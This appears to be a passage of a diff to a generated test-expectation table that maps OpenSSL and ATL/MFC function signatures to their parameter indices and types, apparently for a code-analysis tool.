1 | int | +| (const BIGNUM *,int,BN_CTX *,BN_GENCB *) | | ossl_bn_check_generated_prime | 2 | BN_CTX * | +| (const BIGNUM *,int,BN_CTX *,BN_GENCB *) | | ossl_bn_check_generated_prime | 3 | BN_GENCB * | +| (const BIGNUM *,int,BN_CTX *,BN_GENCB *,int,int *) | | ossl_bn_miller_rabin_is_prime | 0 | const BIGNUM * | +| (const BIGNUM *,int,BN_CTX *,BN_GENCB *,int,int *) | | ossl_bn_miller_rabin_is_prime | 1 | int | +| (const BIGNUM *,int,BN_CTX *,BN_GENCB *,int,int *) | | ossl_bn_miller_rabin_is_prime | 2 | BN_CTX * | +| (const BIGNUM *,int,BN_CTX *,BN_GENCB *,int,int *) | | ossl_bn_miller_rabin_is_prime | 3 | BN_GENCB * | +| (const BIGNUM *,int,BN_CTX *,BN_GENCB *,int,int *) | | ossl_bn_miller_rabin_is_prime | 4 | int | +| (const BIGNUM *,int,BN_CTX *,BN_GENCB *,int,int *) | | ossl_bn_miller_rabin_is_prime | 5 | int * | +| (const BIGNUM *,int,BN_CTX *,int,BN_GENCB *) | | BN_is_prime_fasttest_ex | 0 | const BIGNUM * | +| (const BIGNUM *,int,BN_CTX *,int,BN_GENCB *) | | BN_is_prime_fasttest_ex | 1 | int | +| (const BIGNUM *,int,BN_CTX *,int,BN_GENCB *) | | BN_is_prime_fasttest_ex | 2 | BN_CTX * | +| (const BIGNUM *,int,BN_CTX *,int,BN_GENCB *) | | BN_is_prime_fasttest_ex | 3 | int | +| (const BIGNUM *,int,BN_CTX *,int,BN_GENCB *) | | BN_is_prime_fasttest_ex | 4 | BN_GENCB * | +| (const BIGNUM *,int,BN_CTX *,int,BN_GENCB *) | | ossl_bn_check_prime | 0 | const BIGNUM * | +| (const BIGNUM *,int,BN_CTX *,int,BN_GENCB *) | | ossl_bn_check_prime | 1 | int | +| (const BIGNUM *,int,BN_CTX *,int,BN_GENCB *) | | ossl_bn_check_prime | 2 | BN_CTX * | +| (const BIGNUM *,int,BN_CTX *,int,BN_GENCB *) | | ossl_bn_check_prime | 3 | int | +| (const BIGNUM *,int,BN_CTX *,int,BN_GENCB *) | | ossl_bn_check_prime | 4 | BN_GENCB * | +| (const BIGNUM *,int,size_t *) | | bn_compute_wNAF | 0 | const BIGNUM * | +| (const BIGNUM *,int,size_t *) | | bn_compute_wNAF | 1 | int | +| (const BIGNUM *,int,size_t *) | | bn_compute_wNAF | 2 | size_t * | +| (const BIGNUM *,int[],int) | | BN_GF2m_poly2arr | 0 | const BIGNUM * | +| (const BIGNUM *,int[],int) | | BN_GF2m_poly2arr | 1 | int[] | +| (const BIGNUM *,int[],int) | | BN_GF2m_poly2arr | 2 | int | +| (const BIGNUM *,unsigned char *) | | BN_bn2bin | 0 | const BIGNUM * | +| (const BIGNUM *,unsigned char *) | | BN_bn2bin | 1 | unsigned char * | +| (const BIGNUM *,unsigned char *) | | BN_bn2mpi | 0 | const BIGNUM * | +| (const BIGNUM *,unsigned char *) | | BN_bn2mpi | 1 | unsigned char * | +| (const BIGNUM *,unsigned char *,int) | | BN_bn2binpad | 0 | const BIGNUM * | +| (const BIGNUM *,unsigned char *,int) | | BN_bn2binpad | 1 | unsigned char * | +| (const BIGNUM *,unsigned char *,int) | | BN_bn2binpad | 2 | int | +| (const BIGNUM *,unsigned char *,int) | | BN_bn2lebinpad | 0 | const BIGNUM * | +| (const BIGNUM *,unsigned char *,int) | | BN_bn2lebinpad | 1 | unsigned char * | +| (const BIGNUM *,unsigned char *,int) | | BN_bn2lebinpad | 2 | int | +| (const BIGNUM *,unsigned char *,int) | | BN_bn2nativepad | 0 | const BIGNUM * | +| (const BIGNUM *,unsigned char *,int) | | BN_bn2nativepad | 1 | unsigned char * | +| (const BIGNUM *,unsigned char *,int) | | BN_bn2nativepad | 2 | int | +| (const BIGNUM *,unsigned char *,int) | | BN_signed_bn2bin | 0 | const BIGNUM * | +| (const BIGNUM *,unsigned char *,int) | | BN_signed_bn2bin | 1 | unsigned char * | +| (const BIGNUM *,unsigned char *,int) | | BN_signed_bn2bin | 2 | int | +| (const BIGNUM *,unsigned char *,int) | | BN_signed_bn2lebin | 0 | const BIGNUM * | +| (const BIGNUM *,unsigned char *,int) | | BN_signed_bn2lebin | 1 | unsigned char * | +| (const BIGNUM *,unsigned char *,int) | | BN_signed_bn2lebin | 2 | int | +| (const BIGNUM *,unsigned char *,int) | | BN_signed_bn2native | 0 | const BIGNUM * | +| (const BIGNUM *,unsigned char *,int) | | BN_signed_bn2native | 1 | unsigned char * | +| (const BIGNUM *,unsigned char *,int) | | BN_signed_bn2native | 2 | int | +| (const BIGNUM *,unsigned long) | | BN_mod_word | 0 | const BIGNUM * | +| (const BIGNUM *,unsigned long) | | BN_mod_word | 1 | unsigned long | +| (const BIO *) | | BIO_get_callback | 0 | const BIO * | +| (const BIO *) | | BIO_get_callback_arg | 0 | const BIO * | +| (const BIO *) | | BIO_get_callback_ex | 0 | const BIO * | +| (const BIO *) | | BIO_method_name | 0 | const BIO * | +| (const BIO *) | | BIO_method_type | 0 | const BIO * | +| (const BIO *,int) | | BIO_get_ex_data | 0 | const BIO * | +| (const BIO *,int) | | BIO_get_ex_data | 1 | int | +| (const BIO *,int) | | BIO_test_flags | 0 | const BIO * | +| (const BIO *,int) | | BIO_test_flags | 1 | int | +| (const BIO_ADDR *) | | BIO_ADDR_dup | 0 | const BIO_ADDR * | +| (const BIO_ADDR *) | | BIO_ADDR_family | 0 | const BIO_ADDR * | +| (const BIO_ADDR *) | | BIO_ADDR_path_string | 0 | const BIO_ADDR * | +| (const BIO_ADDR *) | | BIO_ADDR_rawport | 0 | const BIO_ADDR * | +| (const BIO_ADDR *) | | BIO_ADDR_sockaddr | 0 | const BIO_ADDR * | +| (const BIO_ADDR *,void *,size_t *) | | BIO_ADDR_rawaddress | 0 | const BIO_ADDR * | +| (const BIO_ADDR *,void *,size_t *) | | BIO_ADDR_rawaddress | 1 | void * | +| (const BIO_ADDR *,void *,size_t *) | | BIO_ADDR_rawaddress | 2 | size_t * | +| (const BIO_ADDRINFO *) | | BIO_ADDRINFO_address | 0 | const BIO_ADDRINFO * | +| (const BIO_ADDRINFO *) | | BIO_ADDRINFO_family | 0 | const BIO_ADDRINFO * | +| (const BIO_ADDRINFO *) | | BIO_ADDRINFO_next | 0 | const BIO_ADDRINFO * | +| (const BIO_ADDRINFO *) | | BIO_ADDRINFO_protocol | 0 | const BIO_ADDRINFO * | +| (const BIO_ADDRINFO *) | | BIO_ADDRINFO_sockaddr | 0 | const BIO_ADDRINFO * | +| (const BIO_ADDRINFO *) | | BIO_ADDRINFO_sockaddr_size | 0 | const BIO_ADDRINFO * | +| (const BIO_ADDRINFO *) | | BIO_ADDRINFO_socktype | 0 | const BIO_ADDRINFO * | +| (const BIO_METHOD *) | | BIO_meth_get_callback_ctrl | 0 | const BIO_METHOD * | +| (const BIO_METHOD *) | | BIO_meth_get_create | 0 | const BIO_METHOD * | +| (const BIO_METHOD *) | | BIO_meth_get_ctrl | 0 | const BIO_METHOD * | +| (const BIO_METHOD *) | | BIO_meth_get_destroy | 0 | const BIO_METHOD * | +| (const BIO_METHOD *) | | BIO_meth_get_gets | 0 | const BIO_METHOD * | +| (const BIO_METHOD *) | | BIO_meth_get_puts | 0 | const BIO_METHOD * | +| (const BIO_METHOD *) | | BIO_meth_get_read | 0 | const BIO_METHOD * | +| (const BIO_METHOD *) | | BIO_meth_get_read_ex | 0 | const BIO_METHOD * | +| (const BIO_METHOD *) | | BIO_meth_get_recvmmsg | 0 | const BIO_METHOD * | +| (const BIO_METHOD *) | | BIO_meth_get_sendmmsg | 0 | const BIO_METHOD * | +| (const BIO_METHOD *) | | BIO_meth_get_write | 0 | const BIO_METHOD * | +| (const BIO_METHOD *) | | BIO_meth_get_write_ex | 0 | const BIO_METHOD * | +| (const BIO_METHOD *) | | BIO_new | 0 | const BIO_METHOD * | +| (const BN_BLINDING *) | | BN_BLINDING_get_flags | 0 | const BN_BLINDING * | | (const CComBSTR &) | CComBSTR | Append | 0 | const CComBSTR & | | (const CComBSTR &) | CComBSTR | CComBSTR | 0 | const CComBSTR & | | (const CComSafeArray &) | CComSafeArray | CComSafeArray | 0 | const CComSafeArray & | | (const CComSafeArray &) | CComSafeArray | operator= | 0 | const CComSafeArray & | +| (const CERTIFICATEPOLICIES *,unsigned char **) | | i2d_CERTIFICATEPOLICIES | 0 | const CERTIFICATEPOLICIES * | +| (const CERTIFICATEPOLICIES *,unsigned char **) | | i2d_CERTIFICATEPOLICIES | 1 | unsigned char ** | +| (const CMS_CTX *) | | ossl_cms_ctx_get0_libctx | 0 | const CMS_CTX * | +| (const CMS_CTX *) | | ossl_cms_ctx_get0_propq | 0 | const CMS_CTX * | +| (const CMS_ContentInfo *) | | CMS_get0_type | 0 | const CMS_ContentInfo * | +| (const CMS_ContentInfo *) | | ossl_cms_get0_cmsctx | 0 | const CMS_ContentInfo * | +| (const CMS_ContentInfo *,BIO *,int) | | ossl_cms_DigestedData_do_final | 0 | const CMS_ContentInfo * | +| (const CMS_ContentInfo *,BIO *,int) | | ossl_cms_DigestedData_do_final | 1 | BIO * | +| (const CMS_ContentInfo *,BIO *,int) | | ossl_cms_DigestedData_do_final | 2 | int | +| (const CMS_ContentInfo *,unsigned char **) | | i2d_CMS_ContentInfo | 0 | const CMS_ContentInfo * | +| (const CMS_ContentInfo *,unsigned char **) | | i2d_CMS_ContentInfo | 1 | unsigned char ** | +| (const CMS_EnvelopedData *) | | CMS_EnvelopedData_dup | 0 | const CMS_EnvelopedData * | +| (const CMS_ReceiptRequest *,unsigned char **) | | i2d_CMS_ReceiptRequest | 0 | const CMS_ReceiptRequest * | +| (const CMS_ReceiptRequest *,unsigned char **) | | i2d_CMS_ReceiptRequest | 1 | unsigned char ** | +| (const CMS_SignerInfo *) | | CMS_signed_get_attr_count | 0 | const CMS_SignerInfo * | +| (const CMS_SignerInfo *) | | CMS_unsigned_get_attr_count | 0 | const CMS_SignerInfo * | +| (const CMS_SignerInfo *,const ASN1_OBJECT *,int) | | CMS_signed_get_attr_by_OBJ | 0 | const CMS_SignerInfo * | +| (const CMS_SignerInfo *,const ASN1_OBJECT *,int) | | CMS_signed_get_attr_by_OBJ | 1 | const ASN1_OBJECT * | +| (const CMS_SignerInfo *,const ASN1_OBJECT *,int) | | CMS_signed_get_attr_by_OBJ | 2 | int | +| (const CMS_SignerInfo *,const ASN1_OBJECT *,int) | | CMS_unsigned_get_attr_by_OBJ | 0 | const CMS_SignerInfo * | +| (const CMS_SignerInfo *,const ASN1_OBJECT *,int) | | CMS_unsigned_get_attr_by_OBJ | 1 | const ASN1_OBJECT * | +| (const CMS_SignerInfo *,const ASN1_OBJECT *,int) | | CMS_unsigned_get_attr_by_OBJ | 2 | int | +| (const CMS_SignerInfo *,int) | | CMS_signed_get_attr | 0 | const CMS_SignerInfo * | +| (const CMS_SignerInfo *,int) | | CMS_signed_get_attr | 1 | int | +| (const CMS_SignerInfo *,int) | | CMS_unsigned_get_attr | 0 | const CMS_SignerInfo * | +| (const CMS_SignerInfo *,int) | | CMS_unsigned_get_attr | 1 | int | +| (const CMS_SignerInfo *,int,int) | | CMS_signed_get_attr_by_NID | 0 | const CMS_SignerInfo * | +| (const CMS_SignerInfo *,int,int) | | CMS_signed_get_attr_by_NID | 1 | int | +| (const CMS_SignerInfo *,int,int) | | CMS_signed_get_attr_by_NID | 2 | int | +| (const CMS_SignerInfo *,int,int) | | CMS_unsigned_get_attr_by_NID | 0 | const CMS_SignerInfo * | +| (const CMS_SignerInfo *,int,int) | | CMS_unsigned_get_attr_by_NID | 1 | int | +| (const CMS_SignerInfo *,int,int) | | CMS_unsigned_get_attr_by_NID | 2 | int | +| (const COMP_CTX *) | | COMP_CTX_get_method | 0 | const COMP_CTX * | +| (const COMP_CTX *) | | COMP_CTX_get_type | 0 | const COMP_CTX * | +| (const COMP_METHOD *) | | COMP_get_name | 0 | const COMP_METHOD * | +| (const COMP_METHOD *) | | COMP_get_type | 0 | const COMP_METHOD * | +| (const COMP_METHOD *) | | SSL_COMP_get_name | 0 | const COMP_METHOD * | +| (const CONF *) | | NCONF_get0_libctx | 0 | const CONF * | +| (const CONF_IMODULE *) | | CONF_imodule_get_flags | 0 | const CONF_IMODULE * | +| (const CONF_IMODULE *) | | CONF_imodule_get_module | 0 | const CONF_IMODULE * | +| (const CONF_IMODULE *) | | CONF_imodule_get_name | 0 | const CONF_IMODULE * | +| (const CONF_IMODULE *) | | CONF_imodule_get_usr_data | 0 | const CONF_IMODULE * | +| (const CONF_IMODULE *) | | CONF_imodule_get_value | 0 | const CONF_IMODULE * | +| (const CRL_DIST_POINTS *,unsigned char **) | | i2d_CRL_DIST_POINTS | 0 | const CRL_DIST_POINTS * | +| (const CRL_DIST_POINTS *,unsigned char **) | | i2d_CRL_DIST_POINTS | 1 | unsigned char ** | +| (const CRYPTO_EX_DATA *) | | ossl_crypto_ex_data_get_ossl_lib_ctx | 0 | const CRYPTO_EX_DATA * | +| (const CRYPTO_EX_DATA *,int) | | CRYPTO_get_ex_data | 0 | const CRYPTO_EX_DATA * | +| (const CRYPTO_EX_DATA *,int) | | CRYPTO_get_ex_data | 1 | int | | (const CSimpleStringT &) | | operator+= | 0 | const CSimpleStringT & | | (const CSimpleStringT &) | CSimpleStringT | CSimpleStringT | 0 | const CSimpleStringT & | | (const CSimpleStringT &) | CSimpleStringT | operator+= | 0 | const CSimpleStringT & | @@ -753,17 +22136,2387 @@ getSignatureParameterName | (const CStringT &,const CStringT &) | | operator+ | 1 | const CStringT & | | (const CStringT &,wchar_t) | | operator+ | 0 | const CStringT & | | (const CStringT &,wchar_t) | | operator+ | 1 | wchar_t | +| (const CTLOG *) | | CTLOG_get0_name | 0 | const CTLOG * | +| (const CTLOG *) | | CTLOG_get0_public_key | 0 | const CTLOG * | +| (const CTLOG *,const uint8_t **,size_t *) | | CTLOG_get0_log_id | 0 | const CTLOG * | +| (const CTLOG *,const uint8_t **,size_t *) | | CTLOG_get0_log_id | 1 | const uint8_t ** | +| (const CTLOG *,const uint8_t **,size_t *) | | CTLOG_get0_log_id | 2 | size_t * | +| (const CTLOG_STORE *,const uint8_t *,size_t) | | CTLOG_STORE_get0_log_by_id | 0 | const CTLOG_STORE * | +| (const CTLOG_STORE *,const uint8_t *,size_t) | | CTLOG_STORE_get0_log_by_id | 1 | const uint8_t * | +| (const CTLOG_STORE *,const uint8_t *,size_t) | | CTLOG_STORE_get0_log_by_id | 2 | size_t | +| (const CT_POLICY_EVAL_CTX *) | | CT_POLICY_EVAL_CTX_get0_cert | 0 | const CT_POLICY_EVAL_CTX * | +| (const CT_POLICY_EVAL_CTX *) | | CT_POLICY_EVAL_CTX_get0_issuer | 0 | const CT_POLICY_EVAL_CTX * | +| (const CT_POLICY_EVAL_CTX *) | | CT_POLICY_EVAL_CTX_get0_log_store | 0 | const CT_POLICY_EVAL_CTX * | +| (const CT_POLICY_EVAL_CTX *) | | CT_POLICY_EVAL_CTX_get_time | 0 | const CT_POLICY_EVAL_CTX * | +| (const DH *) | | DH_get0_g | 0 | const DH * | +| (const DH *) | | DH_get0_p | 0 | const DH * | +| (const DH *) | | DH_get0_priv_key | 0 | const DH * | +| (const DH *) | | DH_get0_pub_key | 0 | const DH * | +| (const DH *) | | DH_get0_q | 0 | const DH * | +| (const DH *) | | DH_get_length | 0 | const DH * | +| (const DH *) | | DH_get_nid | 0 | const DH * | +| (const DH *) | | DH_security_bits | 0 | const DH * | +| (const DH *) | | DHparams_dup | 0 | const DH * | +| (const DH *) | | ossl_dh_get0_nid | 0 | const DH * | +| (const DH *) | | ossl_dh_get_method | 0 | const DH * | +| (const DH *,const BIGNUM *) | | DH_check_pub_key_ex | 0 | const DH * | +| (const DH *,const BIGNUM *) | | DH_check_pub_key_ex | 1 | const BIGNUM * | +| (const DH *,const BIGNUM **,const BIGNUM **) | | DH_get0_key | 0 | const DH * | +| (const DH *,const BIGNUM **,const BIGNUM **) | | DH_get0_key | 1 | const BIGNUM ** | +| (const DH *,const BIGNUM **,const BIGNUM **) | | DH_get0_key | 2 | const BIGNUM ** | +| (const DH *,const BIGNUM **,const BIGNUM **,const BIGNUM **) | | DH_get0_pqg | 0 | const DH * | +| (const DH *,const BIGNUM **,const BIGNUM **,const BIGNUM **) | | DH_get0_pqg | 1 | const BIGNUM ** | +| (const DH *,const BIGNUM **,const BIGNUM **,const BIGNUM **) | | DH_get0_pqg | 2 | const BIGNUM ** | +| (const DH *,const BIGNUM **,const BIGNUM **,const BIGNUM **) | | DH_get0_pqg | 3 | const BIGNUM ** | +| (const DH *,const BIGNUM *,int *) | | DH_check_pub_key | 0 | const DH * | +| (const DH *,const BIGNUM *,int *) | | DH_check_pub_key | 1 | const BIGNUM * | +| (const DH *,const BIGNUM *,int *) | | DH_check_pub_key | 2 | int * | +| (const DH *,const BIGNUM *,int *) | | ossl_dh_check_priv_key | 0 | const DH * | +| (const DH *,const BIGNUM *,int *) | | ossl_dh_check_priv_key | 1 | const BIGNUM * | +| (const DH *,const BIGNUM *,int *) | | ossl_dh_check_priv_key | 2 | int * | +| (const DH *,const BIGNUM *,int *) | | ossl_dh_check_pub_key_partial | 0 | const DH * | +| (const DH *,const BIGNUM *,int *) | | ossl_dh_check_pub_key_partial | 1 | const BIGNUM * | +| (const DH *,const BIGNUM *,int *) | | ossl_dh_check_pub_key_partial | 2 | int * | +| (const DH *,int *) | | DH_check | 0 | const DH * | +| (const DH *,int *) | | DH_check | 1 | int * | +| (const DH *,int *) | | DH_check_params | 0 | const DH * | +| (const DH *,int *) | | DH_check_params | 1 | int * | +| (const DH *,int) | | DH_get_ex_data | 0 | const DH * | +| (const DH *,int) | | DH_get_ex_data | 1 | int | +| (const DH *,int) | | DH_test_flags | 0 | const DH * | +| (const DH *,int) | | DH_test_flags | 1 | int | +| (const DH *,int) | | ossl_dh_dup | 0 | const DH * | +| (const DH *,int) | | ossl_dh_dup | 1 | int | +| (const DH *,unsigned char **) | | i2d_DHparams | 0 | const DH * | +| (const DH *,unsigned char **) | | i2d_DHparams | 1 | unsigned char ** | +| (const DH *,unsigned char **) | | i2d_DHxparams | 0 | const DH * | +| (const DH *,unsigned char **) | | i2d_DHxparams | 1 | unsigned char ** | +| (const DH *,unsigned char **) | | ossl_i2d_DH_PUBKEY | 0 | const DH * | +| (const DH *,unsigned char **) | | ossl_i2d_DH_PUBKEY | 1 | unsigned char ** | +| (const DH *,unsigned char **) | | ossl_i2d_DHx_PUBKEY | 0 | const DH * | +| (const DH *,unsigned char **) | | ossl_i2d_DHx_PUBKEY | 1 | unsigned char ** | +| (const DH *,unsigned char **,size_t,int) | | ossl_dh_key2buf | 0 | const DH * | +| (const DH *,unsigned char **,size_t,int) | | ossl_dh_key2buf | 1 | unsigned char ** | +| (const DH *,unsigned char **,size_t,int) | | ossl_dh_key2buf | 2 | size_t | +| (const DH *,unsigned char **,size_t,int) | | ossl_dh_key2buf | 3 | int | +| (const DH_METHOD *) | | DH_meth_dup | 0 | const DH_METHOD * | +| (const DH_METHOD *) | | DH_meth_get0_app_data | 0 | const DH_METHOD * | +| (const DH_METHOD *) | | DH_meth_get0_name | 0 | const DH_METHOD * | +| (const DH_METHOD *) | | DH_meth_get_bn_mod_exp | 0 | const DH_METHOD * | +| (const DH_METHOD *) | | DH_meth_get_compute_key | 0 | const DH_METHOD * | +| (const DH_METHOD *) | | DH_meth_get_finish | 0 | const DH_METHOD * | +| (const DH_METHOD *) | | DH_meth_get_flags | 0 | const DH_METHOD * | +| (const DH_METHOD *) | | DH_meth_get_generate_key | 0 | const DH_METHOD * | +| (const DH_METHOD *) | | DH_meth_get_generate_params | 0 | const DH_METHOD * | +| (const DH_METHOD *) | | DH_meth_get_init | 0 | const DH_METHOD * | +| (const DH_NAMED_GROUP *) | | ossl_ffc_named_group_get_keylength | 0 | const DH_NAMED_GROUP * | +| (const DH_NAMED_GROUP *) | | ossl_ffc_named_group_get_name | 0 | const DH_NAMED_GROUP * | +| (const DH_NAMED_GROUP *) | | ossl_ffc_named_group_get_q | 0 | const DH_NAMED_GROUP * | +| (const DH_NAMED_GROUP *) | | ossl_ffc_named_group_get_uid | 0 | const DH_NAMED_GROUP * | +| (const DIST_POINT *,unsigned char **) | | i2d_DIST_POINT | 0 | const DIST_POINT * | +| (const DIST_POINT *,unsigned char **) | | i2d_DIST_POINT | 1 | unsigned char ** | +| (const DIST_POINT_NAME *) | | DIST_POINT_NAME_dup | 0 | const DIST_POINT_NAME * | +| (const DIST_POINT_NAME *,const GENERAL_NAMES *,const ASN1_TIME *) | | OSSL_CMP_CRLSTATUS_new1 | 0 | const DIST_POINT_NAME * | +| (const DIST_POINT_NAME *,const GENERAL_NAMES *,const ASN1_TIME *) | | OSSL_CMP_CRLSTATUS_new1 | 1 | const GENERAL_NAMES * | +| (const DIST_POINT_NAME *,const GENERAL_NAMES *,const ASN1_TIME *) | | OSSL_CMP_CRLSTATUS_new1 | 2 | const ASN1_TIME * | +| (const DIST_POINT_NAME *,unsigned char **) | | i2d_DIST_POINT_NAME | 0 | const DIST_POINT_NAME * | +| (const DIST_POINT_NAME *,unsigned char **) | | i2d_DIST_POINT_NAME | 1 | unsigned char ** | +| (const DSA *) | | DSA_dup_DH | 0 | const DSA * | +| (const DSA *) | | DSA_get0_g | 0 | const DSA * | +| (const DSA *) | | DSA_get0_p | 0 | const DSA * | +| (const DSA *) | | DSA_get0_priv_key | 0 | const DSA * | +| (const DSA *) | | DSA_get0_pub_key | 0 | const DSA * | +| (const DSA *) | | DSA_get0_q | 0 | const DSA * | +| (const DSA *) | | DSAparams_dup | 0 | const DSA * | +| (const DSA *,const BIGNUM **,const BIGNUM **) | | DSA_get0_key | 0 | const DSA * | +| (const DSA *,const BIGNUM **,const BIGNUM **) | | DSA_get0_key | 1 | const BIGNUM ** | +| (const DSA *,const BIGNUM **,const BIGNUM **) | | DSA_get0_key | 2 | const BIGNUM ** | +| (const DSA *,const BIGNUM **,const BIGNUM **,const BIGNUM **) | | DSA_get0_pqg | 0 | const DSA * | +| (const DSA *,const BIGNUM **,const BIGNUM **,const BIGNUM **) | | DSA_get0_pqg | 1 | const BIGNUM ** | +| (const DSA *,const BIGNUM **,const BIGNUM **,const BIGNUM **) | | DSA_get0_pqg | 2 | const BIGNUM ** | +| (const DSA *,const BIGNUM **,const BIGNUM **,const BIGNUM **) | | DSA_get0_pqg | 3 | const BIGNUM ** | +| (const DSA *,const BIGNUM *,int *) | | ossl_dsa_check_priv_key | 0 | const DSA * | +| (const DSA *,const BIGNUM *,int *) | | ossl_dsa_check_priv_key | 1 | const BIGNUM * | +| (const DSA *,const BIGNUM *,int *) | | ossl_dsa_check_priv_key | 2 | int * | +| (const DSA *,const BIGNUM *,int *) | | ossl_dsa_check_pub_key | 0 | const DSA * | +| (const DSA *,const BIGNUM *,int *) | | ossl_dsa_check_pub_key | 1 | const BIGNUM * | +| (const DSA *,const BIGNUM *,int *) | | ossl_dsa_check_pub_key | 2 | int * | +| (const DSA *,const BIGNUM *,int *) | | ossl_dsa_check_pub_key_partial | 0 | const DSA * | +| (const DSA *,const BIGNUM *,int *) | | ossl_dsa_check_pub_key_partial | 1 | const BIGNUM * | +| (const DSA *,const BIGNUM *,int *) | | ossl_dsa_check_pub_key_partial | 2 | int * | +| (const DSA *,int) | | DSA_get_ex_data | 0 | const DSA * | +| (const DSA *,int) | | DSA_get_ex_data | 1 | int | +| (const DSA *,int) | | DSA_test_flags | 0 | const DSA * | +| (const DSA *,int) | | DSA_test_flags | 1 | int | +| (const DSA *,int) | | ossl_dsa_dup | 0 | const DSA * | +| (const DSA *,int) | | ossl_dsa_dup | 1 | int | +| (const DSA *,int,int *) | | ossl_dsa_check_params | 0 | const DSA * | +| (const DSA *,int,int *) | | ossl_dsa_check_params | 1 | int | +| (const DSA *,int,int *) | | ossl_dsa_check_params | 2 | int * | +| (const DSA *,unsigned char **) | | i2d_DSAPrivateKey | 0 | const DSA * | +| (const DSA *,unsigned char **) | | i2d_DSAPrivateKey | 1 | unsigned char ** | +| (const DSA *,unsigned char **) | | i2d_DSAPublicKey | 0 | const DSA * | +| (const DSA *,unsigned char **) | | i2d_DSAPublicKey | 1 | unsigned char ** | +| (const DSA *,unsigned char **) | | i2d_DSA_PUBKEY | 0 | const DSA * | +| (const DSA *,unsigned char **) | | i2d_DSA_PUBKEY | 1 | unsigned char ** | +| (const DSA *,unsigned char **) | | i2d_DSAparams | 0 | const DSA * | +| (const DSA *,unsigned char **) | | i2d_DSAparams | 1 | unsigned char ** | +| (const DSA_METHOD *) | | DSA_meth_dup | 0 | const DSA_METHOD * | +| (const DSA_METHOD *) | | DSA_meth_get0_app_data | 0 | const DSA_METHOD * | +| (const DSA_METHOD *) | | DSA_meth_get0_name | 0 | const DSA_METHOD * | +| (const DSA_METHOD *) | | DSA_meth_get_bn_mod_exp | 0 | const DSA_METHOD * | +| (const DSA_METHOD *) | | DSA_meth_get_finish | 0 | const DSA_METHOD * | +| (const DSA_METHOD *) | | DSA_meth_get_flags | 0 | const DSA_METHOD * | +| (const DSA_METHOD *) | | DSA_meth_get_init | 0 | const DSA_METHOD * | +| (const DSA_METHOD *) | | DSA_meth_get_keygen | 0 | const DSA_METHOD * | +| (const DSA_METHOD *) | | DSA_meth_get_mod_exp | 0 | const DSA_METHOD * | +| (const DSA_METHOD *) | | DSA_meth_get_paramgen | 0 | const DSA_METHOD * | +| (const DSA_METHOD *) | | DSA_meth_get_sign | 0 | const DSA_METHOD * | +| (const DSA_METHOD *) | | DSA_meth_get_sign_setup | 0 | const DSA_METHOD * | +| (const DSA_METHOD *) | | DSA_meth_get_verify | 0 | const DSA_METHOD * | +| (const DSA_SIG *,const BIGNUM **,const BIGNUM **) | | DSA_SIG_get0 | 0 | const DSA_SIG * | +| (const DSA_SIG *,const BIGNUM **,const BIGNUM **) | | DSA_SIG_get0 | 1 | const BIGNUM ** | +| (const DSA_SIG *,const BIGNUM **,const BIGNUM **) | | DSA_SIG_get0 | 2 | const BIGNUM ** | +| (const DSA_SIG *,unsigned char **) | | i2d_DSA_SIG | 0 | const DSA_SIG * | +| (const DSA_SIG *,unsigned char **) | | i2d_DSA_SIG | 1 | unsigned char ** | +| (const ECDSA_SIG *) | | ECDSA_SIG_get0_r | 0 | const ECDSA_SIG * | +| (const ECDSA_SIG *) | | ECDSA_SIG_get0_s | 0 | const ECDSA_SIG * | +| (const ECDSA_SIG *,const BIGNUM **,const BIGNUM **) | | ECDSA_SIG_get0 | 0 | const ECDSA_SIG * | +| (const ECDSA_SIG *,const BIGNUM **,const BIGNUM **) | | ECDSA_SIG_get0 | 1 | const BIGNUM ** | +| (const ECDSA_SIG *,const BIGNUM **,const BIGNUM **) | | ECDSA_SIG_get0 | 2 | const BIGNUM ** | +| (const ECDSA_SIG *,unsigned char **) | | i2d_ECDSA_SIG | 0 | const ECDSA_SIG * | +| (const ECDSA_SIG *,unsigned char **) | | i2d_ECDSA_SIG | 1 | unsigned char ** | +| (const ECPARAMETERS *) | | EC_GROUP_new_from_ecparameters | 0 | const ECPARAMETERS * | +| (const ECPKPARAMETERS *,unsigned char **) | | i2d_ECPKPARAMETERS | 0 | const ECPKPARAMETERS * | +| (const ECPKPARAMETERS *,unsigned char **) | | i2d_ECPKPARAMETERS | 1 | unsigned char ** | +| (const ECX_KEY *,int) | | ossl_ecx_key_dup | 0 | const ECX_KEY * | +| (const ECX_KEY *,int) | | ossl_ecx_key_dup | 1 | int | +| (const ECX_KEY *,unsigned char **) | | ossl_i2d_ED448_PUBKEY | 0 | const ECX_KEY * | +| (const ECX_KEY *,unsigned char **) | | ossl_i2d_ED448_PUBKEY | 1 | unsigned char ** | +| (const ECX_KEY *,unsigned char **) | | ossl_i2d_ED25519_PUBKEY | 0 | const ECX_KEY * | +| (const ECX_KEY *,unsigned char **) | | ossl_i2d_ED25519_PUBKEY | 1 | unsigned char ** | +| (const ECX_KEY *,unsigned char **) | | ossl_i2d_X448_PUBKEY | 0 | const ECX_KEY * | +| (const ECX_KEY *,unsigned char **) | | ossl_i2d_X448_PUBKEY | 1 | unsigned char ** | +| (const ECX_KEY *,unsigned char **) | | ossl_i2d_X25519_PUBKEY | 0 | const ECX_KEY * | +| (const ECX_KEY *,unsigned char **) | | ossl_i2d_X25519_PUBKEY | 1 | unsigned char ** | +| (const EC_GROUP *) | | EC_GROUP_dup | 0 | const EC_GROUP * | +| (const EC_GROUP *) | | EC_GROUP_get0_cofactor | 0 | const EC_GROUP * | +| (const EC_GROUP *) | | EC_GROUP_get0_field | 0 | const EC_GROUP * | +| (const EC_GROUP *) | | EC_GROUP_get0_generator | 0 | const EC_GROUP * | +| (const EC_GROUP *) | | EC_GROUP_get0_order | 0 | const EC_GROUP * | +| (const EC_GROUP *) | | EC_GROUP_get0_seed | 0 | const EC_GROUP * | +| (const EC_GROUP *) | | EC_GROUP_get_asn1_flag | 0 | const EC_GROUP * | +| (const EC_GROUP *) | | EC_GROUP_get_curve_name | 0 | const EC_GROUP * | +| (const EC_GROUP *) | | EC_GROUP_get_field_type | 0 | const EC_GROUP * | +| (const EC_GROUP *) | | EC_GROUP_get_mont_data | 0 | const EC_GROUP * | +| (const EC_GROUP *) | | EC_GROUP_get_point_conversion_form | 0 | const EC_GROUP * | +| (const EC_GROUP *) | | EC_GROUP_get_seed_len | 0 | const EC_GROUP * | +| (const EC_GROUP *) | | EC_GROUP_method_of | 0 | const EC_GROUP * | +| (const EC_GROUP *) | | EC_POINT_new | 0 | const EC_GROUP * | +| (const EC_GROUP *) | | ossl_ec_GF2m_simple_group_get_degree | 0 | const EC_GROUP * | +| (const EC_GROUP 